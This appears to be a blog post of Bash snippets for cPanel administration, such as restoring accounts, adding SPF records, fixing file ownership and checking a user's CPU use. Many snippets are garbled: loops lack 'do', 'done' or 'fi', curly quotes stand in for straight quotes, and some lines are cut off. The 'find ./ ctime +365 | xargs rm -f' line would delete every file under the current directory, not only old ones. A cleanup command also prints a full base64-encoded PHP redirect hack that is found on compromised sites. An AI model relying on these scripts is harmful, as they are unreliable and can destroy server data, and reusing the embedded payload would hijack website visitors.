How to check cPanel CPU and Memory usage for a specific user with Bash scripting

#!/bin/bash    = Starting line
echo “print text”
$X                          = Read the value of X

if [ -n $X ]; then 	# -n tests to see if the argument is non empty

while [ $X -le 20 ]                     // ( -le  is equel )    ( -lt Less than)
touch $X.html
X=$((X+1))                     // (or) let X=X+1

for i in $( ls ); do                                   //`seq 1 10`   read 1 to 10 numbers
echo item: $i

         until [  $COUNTER -lt 10 ]; do
             echo COUNTER $COUNTER
             let COUNTER-=1

Script to cut word from a line
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 >/tmp/usernames
ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 | uniq >/tmp/usernames          (uniq means uniqueness)

Script to restore pakage with help from the above
 for i in `cat /tmp/usernames ` ; do echo "/scripts/restorepkg $i" ; done
Example script to rename “cpmove-bnjjj.tar.gz” like file to “cpmove-bnjjj.jpg”
ls | grep cpmove | grep ‘tar.gz’ | cut -d’-‘ -f2 | cut -d. -f1 >/tmp/usernames
for i in `cat /tmp/usernames ` ; do mv cpmove-$i.* cpmove-$i.jpg; done

script to cut lines which contain the word FOUND
for i in ‘cat test’; do grep FOUND $i > rr; done

Script to restart a service

/usr/bin/pgrep named
if [ $? -ne 0 ]
/etc/init.d/named restart

Script to add spf record for all accounts 
cd /var/named
ls *.db > test
cat test | grep .db | cut -d’.’ -f1,2 > k
for i in `cat k` ; do echo $i. IN TXT “v=spf1 ~all” >> $i.db ; done

Sample script for create multiple cpanel accounts
for i in `cat domains`;
echo “account $i creating”
echo ” enter the account username:”
read r;
/scripts/createacct $i $r
echo “Account $r created”;

Script to recursively search the keywords in a file and find the exact file location
cat /dev/null > result;
for i in `cat file`;
do echo $i >> result; echo ===================== >> result;
p=`grep -irl $i *`
for j in $p;
echo $h >> result;

Script to correct cPanel users and files ownership
for i  in `cat /etc/trueuserdomains   | awk ‘{print $2}’`
chown $i.$i /home/$i -R;
chown $i.mail /home/$i/etc -R;
chown $i.nobody /home/$i/public_html;

Script to move specific files from different folders to a specific Folder

—————————————————————————————- For Hussin
for ((i=12; i do
echo recup_dir.$i >> test1

for j in `cat test1`;
cd /vz/restore
cd $j
ls | grep *.txt | xargs mv *.txt ../texts/

ls | grep *.tar | xargs mv *.tar ../tar-files

ls | grep *.gz | xargs mv *.gz ../gz-files

ls | grep *.*.gz | xargs mv *.*.gz ../gz-files

ls | grep *.tar.gz | xargs mv *.tar.gz ../tar.gz/

ls | grep *.html | xargs mv *.html ../HTML

ls | grep *.js | xargs mv *.js ../js-files

ls | grep *.php | xargs mv *.php ../PHP-files

ls | grep public_html | xargs mv public_html ../PUBLIC-folders

ls | grep log | xargs mv *grep* ../logs

ls | grep *.7z | xargs mv *.7z ../7z-files

ls | grep *.zip | xargs mv *.zip ../zip-files


Script to change contents from a file
sed -i ‘s/To: root/To:’ *.txt

Find and replace all contents after a particular keyword
find /var/www/html/ -name “index.html” -exec sed -i ‘/<\/html>/q0’ {} \;
find . -name “index.html” -exec sed -ie ‘/<\/html>/q0’ {} \; ; [ $? = 0 ] && echo “Successfully replaced and backup all index files with an extension of back”

Script to rsync some data if no other backup process are running

PROCESS=”/usr/bin/rsync -avz -e “ssh” /home/mybloghu root@”
if [ $? -ne 0 ]
Script to remove a big hack script
for i in `cat /tmp/result.txt`; do sed -i ‘1s#eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmFtZXN0aS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9”));##g’ $i ; done
Script to find cPanel account and its corresponding IP address
cat /etc/userdatadomains | perl -pi -e “s/^.*? //,” | perl -pi -e “s/==.*==6/ 6/,” | perl -pi -e “s/:80==//,” | sort | uniq
cPanel script to assign IP via shell:  /usr/local/cpanel/bin/setsiteip -u  username IPaddress
Script to check cPanel CPU and Memory usage for a specific user
domain=””; for i in `seq 1 7 `; do let i=$i+1 ; let  k=$i-1 ; let s=”$(date +%s) – (k-1)*86400″; let t=”$(date +%s) – (k-2)*86400″; echo `date -Idate -d @$s`; /usr/local/cpanel/bin/dcpumonview `date -d @$s +%s` `date -d @$t +%s` | sed -r -e ‘s@^(.*)(.*)(.*)(.*)(.*)$@Account: \1\tDomain: \2\tCPU: \3\tMem: \4\tMySQL: \5@’ -e ‘s@^Top Process(.*)(.*)$@\1 – \2@’ | grep $domain -A3 ; done

Find and remove files which is older than 1year
find ./ ctime +365 | xargs rm -f

kbadmin has written 149 articles

Loading Facebook Comments ...

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.